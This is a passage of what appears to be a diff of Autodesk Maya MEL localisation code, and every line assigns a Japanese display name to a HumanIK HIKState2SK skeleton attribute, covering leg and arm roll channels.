"LeafLeftUpLegRoll1PreRz", "左大腿部ロール 1 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PostR", "左大腿部ロール 1 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PostRx", "左大腿部ロール 1 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PostRy", "左大腿部ロール 1 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll1PostRz", "左大腿部ロール 1 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1T", "左脚ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Tx", "左脚ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Ty", "左脚ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Tz", "左脚ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1R", "左脚ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Rx", "左脚ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Ry", "左脚ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Rz", "左脚ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1S", "左脚ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Sx", "左脚ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Sy", "左脚ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1Sz", "左脚ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PGX", "左脚ロール 1 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1ROrder", "左脚ロール 1 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1SC", "左脚ロール 1 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1IS", "左脚ロール 1 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1ISx", "左脚ロール 1 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1ISy", "左脚ロール 1 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1ISz", "左脚ロール 1 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PreR", "左脚ロール 1 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PreRx", "左脚ロール 1 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PreRy", "左脚ロール 1 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PreRz", "左脚ロール 1 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PostR", "左脚ロール 1 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PostRx", "左脚ロール 1 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PostRy", "左脚ロール 1 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll1PostRz", "左脚ロール 1 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1T", "右大腿部ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Tx", "右大腿部ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Ty", "右大腿部ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Tz", "右大腿部ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1R", "右大腿部ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Rx", "右大腿部ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Ry", "右大腿部ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Rz", "右大腿部ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1S", "右大腿部ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Sx", "右大腿部ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Sy", "右大腿部ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1Sz", "右大腿部ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PGX", "右大腿部ロール 1 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1ROrder", "右大腿部ロール 1 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1SC", "右大腿部ロール 1 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1IS", "右大腿部ロール 1 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1ISx", "右大腿部ロール 1 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1ISy", "右大腿部ロール 1 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1ISz", "右大腿部ロール 1 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PreR", "右大腿部ロール 1 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PreRx", "右大腿部ロール 1 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PreRy", "右大腿部ロール 1 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PreRz", "右大腿部ロール 1 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PostR", "右大腿部ロール 1 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PostRx", "右大腿部ロール 1 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PostRy", "右大腿部ロール 1 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll1PostRz", "右大腿部ロール 1 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1T", "右脚ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Tx", "右脚ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Ty", "右脚ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Tz", "右脚ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1R", "右脚ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Rx", "右脚ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Ry", "右脚ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Rz", "右脚ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1S", "右脚ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Sx", "右脚ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Sy", "右脚ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1Sz", "右脚ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PGX", "右脚ロール 1 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1ROrder", "右脚ロール 1 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1SC", "右脚ロール 1 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1IS", "右脚ロール 1 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1ISx", "右脚ロール 1 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1ISy", "右脚ロール 1 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1ISz", "右脚ロール 1 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PreR", "右脚ロール 1 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PreRx", "右脚ロール 1 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PreRy", "右脚ロール 1 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PreRz", "右脚ロール 1 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PostR", "右脚ロール 1 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PostRx", "右脚ロール 1 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PostRy", "右脚ロール 1 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll1PostRz", "右脚ロール 1 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1T", "左腕ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Tx", "左腕ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Ty", "左腕ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Tz", "左腕ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1R", "左腕ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Rx", "左腕ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Ry", "左腕ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Rz", "左腕ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1S", "左腕ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Sx", "左腕ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Sy", "左腕ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1Sz", "左腕ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PGX", "左腕のロール 1 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1ROrder", "左腕のロール 1 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1SC", "左腕ロール 1 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1IS", "左腕ロール 1 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1ISx", "左腕ロール 1 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1ISy", "左腕ロール 1 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1ISz", "左腕ロール 1 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PreR", "左腕ロール 1 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PreRx", "左腕ロール 1 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PreRy", "左腕ロール 1 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PreRz", "左腕ロール 1 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PostR", "左腕ロール 1 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PostRx", "左腕ロール 1 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PostRy", "左腕ロール 1 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll1PostRz", "左腕ロール 1 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1T", "左前腕ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Tx", "左前腕ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Ty", "左前腕ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Tz", "左前腕ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1R", "左前腕ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Rx", "左前腕ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Ry", "左前腕ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Rz", "左前腕ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1S", "左前腕ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Sx", "左前腕ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Sy", "左前腕ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Sz", "左前腕ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PGX", "左前腕ロール 1 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1ROrder", "左前腕ロール 1 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1SC", "左前腕ロール 1 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1IS", "左前腕ロール 1 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1ISx", "左前腕ロール 1 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1ISy", "左前腕ロール 1 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1ISz", "左前腕ロール 1 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PreR", "左前腕ロール 1 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PreRx", "左前腕ロール 1 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PreRy", "左前腕ロール 1 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PreRz", "左前腕ロール 1 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PostR", "左前腕ロール 1 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PostRx", "左前腕ロール 1 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PostRy", "左前腕ロール 1 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PostRz", "左前腕ロール 1 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1T", "右腕ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Tx", "右腕ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Ty", "右腕ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Tz", "右腕ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1R", "右腕ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Rx", "右腕ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Ry", "右腕ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Rz", "右腕ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1S", "右腕ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Sx", "右腕ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Sy", "右腕ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Sz", "右腕ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PGX", "右腕ロール 1 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1ROrder", "右腕ロール 1 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1SC", "右腕ロール 1 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1IS", "右腕ロール 1 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1ISx", "右腕ロール 1 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1ISy", "右腕ロール 1 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1ISz", "右腕ロール 1 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PreR", "右腕ロール 1 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PreRx", "右腕ロール 1 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PreRy", "右腕ロール 1 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PreRz", "右腕ロール 1 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PostR", "右腕ロール 1 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PostRx", "右腕ロール 1 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PostRy", "右腕ロール 1 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PostRz", "右腕ロール 1 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1T", "右前腕ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Tx", "右前腕ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Ty", "右前腕ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Tz", "右前腕ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1R", "右前腕ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Rx", "右前腕ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Ry", "右前腕ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Rz", "右前腕ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1S", "右前腕ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Sx", "右前腕ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Sy", "右前腕ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Sz", "右前腕ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PGX", "右前腕ロール 1 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1ROrder", "右前腕ロール 1 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1SC", "右前腕ロール 1 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1IS", "右前腕ロール 1 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1ISx", "右前腕ロール 1 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1ISy", "右前腕ロール 1 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1ISz", "右前腕ロール 1 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PreR", "右前腕ロール 1 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PreRx", "右前腕ロール 1 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PreRy", "右前腕ロール 1 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PreRz", "右前腕ロール 1 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PostR", "右前腕ロール 1 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PostRx", "右前腕ロール 1 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PostRy", "右前腕ロール 1 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PostRz", "右前腕ロール 1 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2T", "左大腿部ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Tx", "左大腿部ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Ty", "左大腿部ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Tz", "左大腿部ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2R", "左大腿部ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Rx", "左大腿部ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Ry", "左大腿部ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Rz", "左大腿部ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2S", "左大腿部ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Sx", "左大腿部ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Sy", "左大腿部ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Sz", "左大腿部ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PGX", "左大腿部ロール 2 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2ROrder", "左大腿部ロール 2 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2SC", "左大腿部ロール 2 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2IS", "左大腿部ロール 2 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2ISx", "左大腿部ロール 2 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2ISy", "左大腿部ロール 2 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2ISz", "左大腿部ロール 2 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PreR", "左大腿部ロール 2 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PreRx", "左大腿部ロール 2 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PreRy", "左大腿部ロール 2 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PreRz", "左大腿部ロール 2 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PostR", "左大腿部ロール 2 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PostRx", "左大腿部ロール 2 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PostRy", "左大腿部ロール 2 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PostRz", "左大腿部ロール 2 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2T", "左脚ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Tx", "左脚ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Ty", "左脚ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Tz", "左脚ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2R", "左脚ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Rx", "左脚ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Ry", "左脚ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Rz", "左脚ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2S", "左脚ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Sx", "左脚ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Sy", "左脚ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Sz", "左脚ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PGX", "左脚ロール 2 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2ROrder", "左脚ロール 2 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2SC", "左脚ロール 2 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2IS", "左脚ロール 2 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2ISx", "左脚ロール 2 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2ISy", "左脚ロール 2 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2ISz", "左脚ロール 2 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PreR", "左脚ロール 2 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PreRx", "左脚ロール 2 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PreRy", "左脚ロール 2 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PreRz", "左脚ロール 2 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PostR", "左脚ロール 2 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PostRx", "左脚ロール 2 のポスト Rx 可動部" ); +setAttrNiceNameResource( 